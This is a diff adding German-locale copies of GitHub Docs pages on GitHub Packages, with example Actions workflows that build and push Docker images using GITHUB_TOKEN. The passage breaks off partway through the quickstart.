+If a new version of a package fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+{% endif %}
+
+## Publishing a package
+
+{% data reusables.package_registry.packages-classic-pat-only %}
+
+You can publish a package to {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines.
+
+1. Create or use an existing {% data variables.product.pat_v1 %} with the appropriate scopes for the task you want to accomplish. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)."
+2. Authenticate to {% data variables.product.prodname_registry %} using your {% data variables.product.pat_v1 %} and the instructions for your package client.
+3. Publish the package using the instructions for your package client.
+
+For instructions specific to your package client, see "[Working with a GitHub Packages registry](/packages/working-with-a-github-packages-registry)."
+
+After you publish a package, you can view the package on {% data variables.product.prodname_dotcom %}. For more information, see "[Viewing packages](/packages/learn-github-packages/viewing-packages)."
diff --git a/translations/de-DE/content/packages/learn-github-packages/viewing-packages.md b/translations/de-DE/content/packages/learn-github-packages/viewing-packages.md
new file mode 100644
index 0000000000..3c239df022
--- /dev/null
+++ b/translations/de-DE/content/packages/learn-github-packages/viewing-packages.md
@@ -0,0 +1,69 @@
+---
+title: Viewing packages
+intro: 'You can see details about packages published to a repository, and narrow results by organization or user.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /articles/viewing-a-repositorys-packages
+  - /github/managing-packages-with-github-packages/publishing-and-managing-packages/viewing-a-repositorys-packages
+  - /github/managing-packages-with-github-packages/viewing-packages
+  - /packages/publishing-and-managing-packages/viewing-packages
+  - /packages/manage-packages/viewing-packages
+permissions: You must have at least read permissions to view a package.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+## About package views
+
+Your ability to view a package depends on several factors. By default, you can view all packages you have published.
+
+Repository-scoped packages inherit their permissions and visibility from the repository that owns the package. The registries below **only** use this type of permissions:{% ifversion not fpt or ghec %}
+- Docker registry (`docker.pkg.github.com`){% endif %}
+{% ifversion packages-npm-v2 %}{% else %}- npm registry{% endif %}
+- RubyGems registry
+- Apache Maven registry
+- NuGet registry
+
+{% ifversion fpt or ghec %}
+The {% data variables.packages.prodname_ghcr_and_npm_registry %} offer you the option of granular permissions and visibility settings that can be customized for each package owned by a personal user or organization account. You can choose to use granular permissions or connect the package to a repository and inherit it's permissions. For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."
+{% endif %}
+
+For more information, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages){% ifversion fpt or ghec %}" and "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility){% endif %}."
+
+{% data reusables.package_registry.package-page-info %}
+
+## Viewing a repository's packages
+
+You can find and view a package located in a particular repository.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.package_registry.packages-from-code-tab %}
+{% data reusables.package_registry.navigate-to-packages %}
+
+## Viewing an organization's packages
+
+You can find and view a package located in the repositories of an organization you belong to.
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+3. Under your organization name, click {% octicon "package" aria-label="The package icon" %} **Packages**.
+{% data reusables.package_registry.navigate-to-packages %}
+
+## Viewing your packages
+
+You can find and view any package you've published across all organizations and repositories. 
+
+{% data reusables.profile.access_profile %}
+2. On the top of the profile page, in the main navigation, click **Packages**.
+  ![Project tab](/assets/images/help/package-registry/user-packages-tab.png)
+{% data reusables.package_registry.navigate-to-packages %}
+
+## Further reading
+
+- "[Searching for packages](/search-github/searching-on-github/searching-for-packages)"
diff --git a/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/about-github-packages-and-github-actions.md b/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/about-github-packages-and-github-actions.md
new file mode 100644
index 0000000000..9920536662
--- /dev/null
+++ b/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/about-github-packages-and-github-actions.md
@@ -0,0 +1,19 @@
+---
+title: Informationen zu GitHub-Paketen und GitHub-Aktionen
+intro: 'Lerne die Grundlagen der Verwaltung von Paketen über deine {% data variables.product.prodname_actions %}-Workflows kennen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Packages & Actions
+ms.openlocfilehash: 59ac0773917d9abd9e046ca27b0b9469b17511b8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134358'
+---
+{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %}
+
+{% data reusables.package_registry.about-packaging-and-actions %}
diff --git a/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/example-workflows-for-publishing-a-package.md b/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/example-workflows-for-publishing-a-package.md
new file mode 100644
index 0000000000..ef03771900
--- /dev/null
+++ b/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/example-workflows-for-publishing-a-package.md
@@ -0,0 +1,24 @@
+---
+title: Beispielworkflows für das Veröffentlichen eines Pakets
+intro: 'Um dir den Einstieg in eigene benutzerdefinierte Workflows zu erleichtern, findest du hier einige Beispielworkflows für das Veröffentlichen von Paketen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Example workflows
+ms.openlocfilehash: 7fea4fc0be69505843fb0857338fc7f6d6be555e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145134353'
+---
+{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %}
+
+Du findest Beispielworkflows unter [Veröffentlichen und Installieren eines Pakets mit {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions) oder in einem der folgenden {% data variables.product.prodname_actions %}-Leitfäden:
+
+  - [Veröffentlichen von Node.js-Paketen](/actions/guides/publishing-nodejs-packages)
+  - [Veröffentlichen von Docker-Images](/actions/guides/publishing-docker-images)
+  - [Veröffentlichen von Java-Paketen mit Maven](/actions/guides/publishing-java-packages-with-maven)
+  - [Veröffentlichen von Java-Paketen mit Gradle](/actions/guides/publishing-java-packages-with-gradle)
diff --git a/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/index.md b/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/index.md
new file mode 100644
index 0000000000..320879bb36
--- /dev/null
+++ b/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/index.md
@@ -0,0 +1,21 @@
+---
+title: Verwalten von GitHub-Paketen mithilfe von GitHub Actions Workflows
+shortTitle: Managing GitHub packages with workflows
+intro: 'Du kannst Pakete sicher veröffentlichen und nutzen, indem du benutzerdefinierte Workflows erstellst, die auch deinen Code erstellen, testen und bereitstellen können.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /publishing-and-installing-a-package-with-github-actions
+  - /example-workflows-for-publishing-a-package
+  - /about-github-packages-and-github-actions
+ms.openlocfilehash: ba93b15b2fc3290d39b0623dcf906e2c3a2715a3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134350'
+---
+{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %}
diff --git a/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md b/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md
new file mode 100644
index 0000000000..a4dbfcc69a
--- /dev/null
+++ b/translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md
@@ -0,0 +1,568 @@
+---
+title: Publishing and installing a package with GitHub Actions
+intro: 'You can configure a workflow in {% data variables.product.prodname_actions %} to automatically publish or install a package from {% data variables.product.prodname_registry %}.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /github/managing-packages-with-github-packages/using-github-packages-with-github-actions
+  - /packages/using-github-packages-with-your-projects-ecosystem/using-github-packages-with-github-actions
+  - /packages/guides/using-github-packages-with-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Publish & install with Actions
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+## About {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %}
+
+{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} For more information, see "[About {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)."
+
+You can extend the CI and CD capabilities of your repository by publishing or installing packages as part of your workflow.
+
+{% ifversion fpt or ghec %}
+### Authenticating to the {% data variables.packages.prodname_ghcr_and_npm_registry %}
+
+{% data reusables.package_registry.authenticate_with_pat_for_v2_registry %}
+
+{% endif %}
+
+### Authenticating to package registries on {% data variables.product.prodname_dotcom %}
+
+{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.location.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a {% data variables.product.pat_generic %} for authentication. You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
+
+You can reference the `GITHUB_TOKEN` in your workflow file using the {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} context. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
+
+## About permissions and package access for repository-owned packages
+
+{% note %}
+
+**Note:** Some registries, such as RubyGems, {% ifversion packages-npm-v2 %}{% else %}npm, {% endif %}Apache Maven, NuGet, {% ifversion fpt or ghec %}and Gradle{% else %}Gradle, and Docker packages that use the package namespace `docker.pkg.github.com`{% endif %}, only allow repository-owned packages. With {% data variables.packages.prodname_ghcr_and_npm_registry_full %} you can choose to allow packages to be owned by a user, an organization, or linked to a repository.
+
+{% endnote %}
+
+When you enable GitHub Actions, GitHub installs a GitHub App on your repository. The `GITHUB_TOKEN` secret is a GitHub App installation access token. You can use the installation access token to authenticate on behalf of the GitHub App installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)."
+
+{% data variables.product.prodname_registry %} allows you to push and pull packages through the `GITHUB_TOKEN` available to a {% data variables.product.prodname_actions %} workflow.
+
+{% ifversion fpt or ghec %}
+## About permissions and package access for {% data variables.packages.prodname_ghcr_and_npm_registry %}
+
+The {% data variables.packages.prodname_ghcr_and_npm_registry_full %} allows users to create and administer packages as free-standing resources at the organization level. Packages can be owned by an organization or personal account and you can customize access to each of your packages separately from repository permissions.
+
+All workflows accessing the {% data variables.packages.prodname_ghcr_and_npm_registry %} should use the `GITHUB_TOKEN` instead of a {% data variables.product.pat_generic %}. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)."
+
+## Default permissions and access settings for containers modified through workflows
+
+When you create, install, modify, or delete a container through a workflow, there are some default permission and access settings used to ensure admins have access to the workflow. You can adjust these access settings as well.
+
+For example, by default if a workflow creates a container using the `GITHUB_TOKEN`, then:
+- The container inherits the visibility and permissions model of the repository where the workflow is run.
+- Repository admins where the workflow is run become the admins of the container once the container is created.
+
+These are more examples of how default permissions work for workflows that manage packages.
+
+| {% data variables.product.prodname_actions %} workflow task | Default permissions and access |
+|----|----|
+| Download an existing container | - If the container is public, any workflow running in any repository can download the container. <br> - If the container is internal, then all workflows running in any repository owned by the Enterprise account can download the container. For enterprise-owned organizations, you can read any repository in the enterprise <br> - If the container is private, only workflows running in repositories that are given read permission on that container can download the container. <br>
+| Upload a new version to an existing container | - If the container is private, internal, or public, only workflows running in repositories that are given write permission on that container can upload new versions to the container.
+| Delete a container or versions of a container | - If the container is private, internal, or public, only workflows running in repositories that are given delete permission can delete existing versions of the container.
+
+You can also adjust access to containers in a more granular way or adjust some of the default permissions behavior. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)."
+
+{% endif %}
+
+## Publishing a package using an action
+
+You can use {% data variables.product.prodname_actions %} to automatically publish packages as part of your continuous integration (CI) flow. This approach to continuous deployment (CD) allows you to automate the creation of new package versions, if the code meets your quality standards. For example, you could create a workflow that runs CI tests every time a developer pushes code to a particular branch. If the tests pass, the workflow can publish a new package version to {% data variables.product.prodname_registry %}.
+
+{% data reusables.package_registry.actions-configuration %}
+
+The following example demonstrates how you can use {% data variables.product.prodname_actions %} to build {% ifversion not fpt or ghec %}and test{% endif %} your app, and then automatically create a Docker image and publish it to {% data variables.product.prodname_registry %}.
+
+Create a new workflow file in your repository (such as `.github/workflows/deploy-image.yml`), and add the following YAML:
+
+{% ifversion fpt or ghec %}
+{% data reusables.package_registry.publish-docker-image %}
+
+{% else %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Create and publish a Docker image
+
+on:
+  push:
+    branches: ['release']
+
+jobs:
+  run-npm-build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: npm install and build webpack
+        run: |
+          npm install
+          npm run build
+      - uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: webpack artifacts
+          path: public/
+
+  run-npm-test:
+    runs-on: ubuntu-latest
+    needs: run-npm-build
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+        node-version: [12.x, 14.x]
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %}
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: {% raw %}${{ matrix.node-version }}{% endraw %}
+      - uses: {% data reusables.actions.action-download-artifact %}
+        with:
+          name: webpack artifacts
+          path: public
+      - name: npm install, and test
+        run: |
+          npm install
+          npm test
+        env:
+          CI: true
+
+  build-and-push-image:
+    runs-on: ubuntu-latest
+    needs: run-npm-test {% ifversion ghes or ghae %}
+    permissions: 
+      contents: read
+      packages: write {% endif %}
+    steps:
+      - name: Checkout
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Log in to GitHub Docker Registry
+        uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
+        with:
+          registry: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}
+          username: {% raw %}${{ github.actor }}{% endraw %}
+          password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+      - name: Build and push Docker image
+        uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
+        with:
+          push: true
+          tags: |
+            {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}/{% raw %}${{ github.repository }}/octo-image:${{ github.sha }}{% endraw %}
+```
+{% endif %}
+
+The relevant settings are explained in the following table. For full details about each element in a workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)."
+
+<table>
+<tr>
+<td>
+{% raw %}
+```yaml
+on:
+  push:
+    branches: ['release']
+```
+{% endraw %}
+</td>
+<td>
+  Configures the <code>Create and publish a Docker image</code> workflow to run every time a change is pushed to the branch called <code>release</code>.
+</td>
+</tr>
+
+{% ifversion fpt or ghec %}
+
+<tr>
+<td>
+{% raw %}
+```yaml
+env:
+  REGISTRY: ghcr.io
+  IMAGE_NAME: ${{ github.repository }}
+```
+{% endraw %}
+</td>
+<td>
+  Defines two custom environment variables for the workflow. These are used for the {% data variables.product.prodname_container_registry %} domain, and a name for the Docker image that this workflow builds.
+</td>
+</tr>
+
+<tr>
+<td>
+{% raw %}
+```yaml
+jobs:
+  build-and-push-image:
+    runs-on: ubuntu-latest
+```
+{% endraw %}
+</td>
+<td>
+  There is a single job in this workflow. It's configured to run on the latest available version of Ubuntu.
+</td>
+</tr>
+
+{% else %}
+
+<tr>
+<td>
+
+```yaml
+run-npm-build:
+  runs-on: ubuntu-latest
+  steps:
+    - uses: {% data reusables.actions.action-checkout %}
+    - name: npm install and build webpack
+      run: |
+        npm install
+        npm run build
+    - uses: {% data reusables.actions.action-upload-artifact %}
+      with:
+        name: webpack artifacts
+        path: public/
+```
+
+</td>
+<td>
+  This job installs NPM and uses it to build the app.
+</td>
+</tr>
+
+<tr>
+<td>
+
+```yaml
+run-npm-test:
+  runs-on: ubuntu-latest
+  needs: run-npm-build
+  strategy:
+    matrix:
+      os: [ubuntu-latest]
+      node-version: [12.x, 14.x]
+  steps:
+    - uses: {% data reusables.actions.action-checkout %}
+    - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %}
+      uses: {% data reusables.actions.action-setup-node %}
+      with:
+        node-version: {% raw %}${{ matrix.node-version }}{% endraw %}
+    - uses: {% data reusables.actions.action-download-artifact %}
+      with:
+        name: webpack artifacts
+        path: public
+    - name: npm install, and test
+      run: |
+        npm install
+        npm test
+      env:
+        CI: true
+```
+
+</td>
+<td>
+  This job uses <code>npm test</code> to test the code. The <code>needs: run-npm-build</code> command makes this job dependent on the <code>run-npm-build</code> job.
+</td>
+</tr>
+
+<tr>
+<td>
+{% raw %}
+```yaml
+build-and-push-image:
+  runs-on: ubuntu-latest
+  needs: run-npm-test
+```
+{% endraw %}
+</td>
+<td>
+  This job publishes the package. The <code>needs: run-npm-test</code> command makes this job dependent on the <code>run-npm-test</code> job.
+</td>
+</tr>
+
+{% endif %}
+
+<tr>
+<td>
+{% raw %}
+```yaml
+permissions: 
+  contents: read
+  packages: write 
+```
+{% endraw %}
+</td>
+<td>
+  Sets the permissions granted to the <code>GITHUB_TOKEN</code> for the actions in this job.
+</td>
+</tr> 
+
+{% ifversion fpt or ghec %}
+<tr>
+<td>
+{% raw %}
+```yaml
+- name: Log in to the Container registry
+  uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
+  with:
+    registry: ${{ env.REGISTRY }}
+    username: ${{ github.actor }}
+    password: ${{ secrets.GITHUB_TOKEN }}
+```
+{% endraw %}
+</td>
+<td>
+  Creates a step called <code>Log in to the {% data variables.product.prodname_container_registry %}</code>, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
+</td>
+</tr>
+
+<tr>
+<td>
+{% raw %}
+```yaml
+- name: Extract metadata (tags, labels) for Docker
+  id: meta
+  uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
+  with:
+    images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
+```
+{% endraw %}
+</td>
+<td>
+  This step uses <code><a href="https://github.com/docker/metadata-action#about">docker/metadata-action</a></code> to extract tags and labels that will be applied to the specified image. The <code>id</code> "meta" allows the output of this step to be referenced in a subsequent step. The <code>images</code> value provides the base name for the tags and labels.
+</td>
+</tr>
+
+{% else %}
+<tr>
+<td>
+{% raw %}
+```yaml
+- name: Log in to GitHub Docker Registry
+  uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
+  with:
+    registry: {% endraw %}{% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}{% raw %}
+    username: ${{ github.actor }}
+    password: ${{ secrets.GITHUB_TOKEN }}
+```
+{% endraw %}
+</td>
+<td>
+  Creates a new step called <code>Log in to GitHub Docker Registry</code>, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
+</td>
+</tr>
+{% endif %}
+
+<tr>
+<td>
+{% raw %}
+```yaml
+- name: Build and push Docker image
+```
+{% endraw %}
+</td>
+<td>
+  Creates a new step called <code>Build and push Docker image</code>. This step runs as part of the <code>build-and-push-image</code> job.
+</td>
+</tr>
+
+<tr>
+<td>
+{% raw %}
+```yaml
+uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
+```
+{% endraw %}
+</td>
+<td>
+  Uses the Docker <code>build-push-action</code> action to build the image, based on your repository's <code>Dockerfile</code>. If the build succeeds, it pushes the image to {% data variables.product.prodname_registry %}.
+</td>
+</tr>
+
+<tr>
+<td>
+{% raw %}
+```yaml
+with:
+```
+{% endraw %}
+</td>
+<td>
+  Sends the required parameters to the <code>build-push-action</code> action. These are defined in the subsequent lines.
+</td>
+</tr>
+
+{% ifversion fpt or ghec %}
+<tr>
+<td>
+{% raw %}
+```yaml
+context: .
+```
+{% endraw %}
+</td>
+<td>
+  Defines the build's context as the set of files located in the specified path. For more information, see "<a href="https://github.com/docker/build-push-action#usage">Usage</a>."
+</td>
+</tr>
+{% endif %}
+
+<tr>
+<td>
+{% raw %}
+```yaml
+push: true
+```
+{% endraw %}
+</td>
+<td>
+  Pushes this image to the registry if it is built successfully.
+</td>
+</tr>
+
+{% ifversion fpt or ghec %}
+<tr>
+<td>
+{% raw %}
+```yaml
+tags: ${{ steps.meta.outputs.tags }}
+labels: ${{ steps.meta.outputs.labels }}
+```
+{% endraw %}
+</td>
+<td>
+  Adds the tags and labels extracted in the "meta" step.
+</td>
+</tr>
+
+{% else %}
+<tr>
+<td>
+{% ifversion ghae %}
+{% raw %}
+```yaml
+tags: |
+docker.YOUR-HOSTNAME.com/${{ github.repository }}/octo-image:${{ github.sha }}
+```
+{% endraw %}
+{% else %}
+{% raw %}
+```yaml
+tags: |
+docker.pkg.github.com/${{ github.repository }}/octo-image:${{ github.sha }}
+```
+{% endraw %}
+{% endif %}
+</td>
+<td>
+  Tags the image with the SHA of the commit that triggered the workflow.
+</td>
+</tr>
+{% endif %}
+
+</table>
+
+This new workflow will run automatically every time you push a change to a branch named `release` in the repository. You can view the progress in the **Actions** tab.
+
+A few minutes after the workflow has completed, the new package will visible in your repository. To find your available packages, see "[Viewing a repository's packages](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)."
+
+## Installing a package using an action
+
+You can install packages as part of your CI flow using {% data variables.product.prodname_actions %}. For example, you could configure a workflow so that anytime a developer pushes code to a pull request, the workflow resolves dependencies by downloading and installing packages hosted by {% data variables.product.prodname_registry %}. Then, the workflow can run CI tests that require the dependencies.
+
+Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt or ghec %} Data transfer is also free when an action installs a package. For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."{% endif %}
+
+{% data reusables.package_registry.actions-configuration %}
+
+{% ifversion fpt or ghec %}
+## Upgrading a workflow that accesses a registry using a {% data variables.product.pat_generic %}
+
+The {% data variables.packages.prodname_ghcr_and_npm_registry %} support the `GITHUB_TOKEN` for easy and secure authentication in your workflows. If your workflow is using a {% data variables.product.pat_generic %} to authenticate to the registry, then we highly recommend you update your workflow to use the `GITHUB_TOKEN`.
+
+For more information about the `GITHUB_TOKEN`, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)."
+
+Using the `GITHUB_TOKEN` instead of a {% data variables.product.pat_v1 %}, which includes the `repo` scope, increases the security of your repository as you don't need to use a long-lived {% data variables.product.pat_generic %} that offers unnecessary access to the repository where your workflow is run. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)."
+
+1. Navigate to your package landing page.
+1. In the left sidebar, click **Actions access**.
+  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+1. To ensure your container package has access to your workflow, you must add the repository where the workflow is stored to your container. Click **Add repository** and search for the repository you want to add.
+   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
+  {% note %}
+
+  **Note:** Adding a repository to your container through the **Actions access** menu option is different than connecting your container to a repository. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" and "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."
+
+  {% endnote %}
+1. Optionally, using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image.
+  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. Open your workflow file. On the line where you log in to the registry, replace your {% data variables.product.pat_generic %} with {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}.
+
+For example, this workflow publishes a Docker image to the {% data variables.product.prodname_container_registry %} and uses {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} to authenticate.
+
+```yaml{:copy}
+name: Demo Push
+
+on:   
+  push:
+    # Publish `master` as Docker `latest` image.
+    branches:
+      - master
+      - seed
+
+    # Publish `v1.2.3` tags as releases.
+    tags:
+      - v*
+
+  # Run tests for any PRs.
+  pull_request:
+
+env:
+  IMAGE_NAME: ghtoken_product_demo
+
+jobs:
+  # Push image to GitHub Packages.
+  # See also https://docs.docker.com/docker-hub/builds/
+  push:
+    runs-on: ubuntu-latest
+    permissions:
+      packages: write
+      contents: read
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+
+      - name: Build image
+        run: docker build . --file Dockerfile --tag $IMAGE_NAME --label "runnumber=${GITHUB_RUN_ID}"
+
+      - name: Log in to registry
+        # This is where you will update the {% data variables.product.pat_generic %} to GITHUB_TOKEN
+        run: echo "{% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin
+
+      - name: Push image
+        run: |
+          IMAGE_ID=ghcr.io/{% raw %}${{ github.repository_owner }}{% endraw %}/$IMAGE_NAME
+
+          # Change all uppercase to lowercase
+          IMAGE_ID=$(echo $IMAGE_ID | tr '[A-Z]' '[a-z]')
+          # Strip git ref prefix from version
+          VERSION=$(echo "{% raw %}${{ github.ref }}{% endraw %}" | sed -e 's,.*/\(.*\),\1,')
+          # Strip "v" prefix from tag name
+          [[ "{% raw %}${{ github.ref }}{% endraw %}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//')
+          # Use Docker `latest` tag convention
+          [ "$VERSION" == "master" ] && VERSION=latest
+          echo IMAGE_ID=$IMAGE_ID
+          echo VERSION=$VERSION
+          docker tag $IMAGE_NAME $IMAGE_ID:$VERSION
+          docker push $IMAGE_ID:$VERSION
+```
+
+{% endif %}
diff --git a/translations/de-DE/content/packages/quickstart.md b/translations/de-DE/content/packages/quickstart.md
new file mode 100644
index 0000000000..ad1381fe9d
--- /dev/null
+++ b/translations/de-DE/content/packages/quickstart.md
@@ -0,0 +1,136 @@
+---
+title: Schnellstartanleitung für GitHub Packages
+intro: 'Veröffentlichen auf {% data variables.product.prodname_registry %} mit {% data variables.product.prodname_actions %}.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Quickstart
+ms.openlocfilehash: 207b91e821037a6eb61ae7bc9b18c98d8b14fdd2
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147878955'
+---
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+In diesem Leitfaden erstellst du einen {% data variables.product.prodname_actions %}-Workflow, um deinen Code zu testen und dann in {% data variables.product.prodname_registry %} zu veröffentlichen.
+
+## Veröffentlichen deines Pakets
+
+1. Erstelle ein neues Repository für {% data variables.product.prodname_dotcom %}, indem du `.gitignore` für Node hinzufügst. Weitere Informationen findest du unter [Erstellen eines neuen Repositorys](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository).
+2. Klone das Repository auf deinen lokalen Computer.
+    ```shell
+    $ git clone https://{% ifversion ghes or ghae %}<em>YOUR-HOSTNAME</em>{% else %}github.com{% endif %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>.git
+    $ cd <em>YOUR-REPOSITORY</em>
+    ```
+3. Erstelle eine `index.js` Datei, und füge eine einfache Benachrichtigung hinzu, um „Hallo Welt!“ zu sagen.
+    {% raw %}
+    ```javascript{:copy}
+    console.log("Hello, World!");
+    ```
+    {% endraw %}
